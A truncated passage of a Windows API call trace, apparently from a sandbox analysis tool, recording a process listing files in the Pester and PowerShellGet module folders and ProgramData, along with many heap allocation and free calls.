lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4033, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.ps1", cAlternateFileName="")) returned 1 [0194.190] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6be7, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.Tests.ps1", cAlternateFileName="")) returned 1 [0194.190] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 1 [0194.190] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 0 [0194.191] FindClose (in: hFindFile=0x4531d00 | out: hFindFile=0x4531d00) returned 1 [0194.191] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.191] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0194.191] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nunit_schema_2.5.xsd", cAlternateFileName="")) returned 1 [0194.191] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.nuspec", cAlternateFileName="")) returned 1 [0194.191] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.psd1", cAlternateFileName="")) returned 1 [0194.191] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6956, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.psm1", cAlternateFileName="")) returned 1 [0194.191] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b95, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.Tests.ps1", cAlternateFileName="")) returned 1 [0194.191] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="README.md", cAlternateFileName="")) returned 1 [0194.191] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fd9a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 1 [0194.192] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0194.192] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Snippets") returned 70 [0194.192] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Snippets\\*", lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fd9a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531880 [0194.194] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fd9a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.197] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.197] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0194.197] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0194.200] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x462ef90 [0194.200] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet") returned 62 [0194.200] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531700 [0194.207] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.207] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0194.207] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0194.207] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0194.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0194.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0194.351] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45336e0 [0194.351] lstrlenW (lpString="C:\\ProgramData") returned 14 [0194.351] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*", lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4532280 [0194.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0194.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0194.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0194.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0194.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0194.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0194.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0194.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0194.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0194.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0194.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0194.376] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.380] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.380] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0194.389] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.394] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.394] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0194.400] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.404] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.404] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0194.407] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0194.407] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0194.407] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0194.409] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.411] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0194.411] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.411] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0194.613] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0194.617] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0194.617] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0194.624] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0194.626] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0194.626] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0194.626] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0194.627] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0194.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0194.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.060] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.060] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.063] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.064] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0195.066] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.066] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0195.194] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.195] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.195] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.197] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.198] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.202] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.202] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.202] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.204] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0195.205] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0195.206] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0195.208] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.208] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0195.210] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.210] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.210] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0195.211] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.212] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.212] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.212] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0195.212] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0195.213] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0195.213] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.213] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0195.215] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.217] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.217] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.217] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.217] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0195.219] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0195.224] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.224] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.224] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.452] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.452] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.452] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.455] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.455] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.456] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.458] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.458] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.459] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.462] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.462] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.462] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.465] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.465] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.465] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.468] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.468] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.468] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.471] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.471] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.471] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.683] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.684] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.684] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.688] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.688] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.688] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.694] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0195.694] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.694] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.697] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.697] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.698] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.701] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.701] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0195.701] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.257] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.257] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.257] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.259] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.259] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.259] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.261] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.261] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.261] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.264] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.264] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.264] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.265] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0196.420] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.420] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.421] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.421] HeapFree (in: 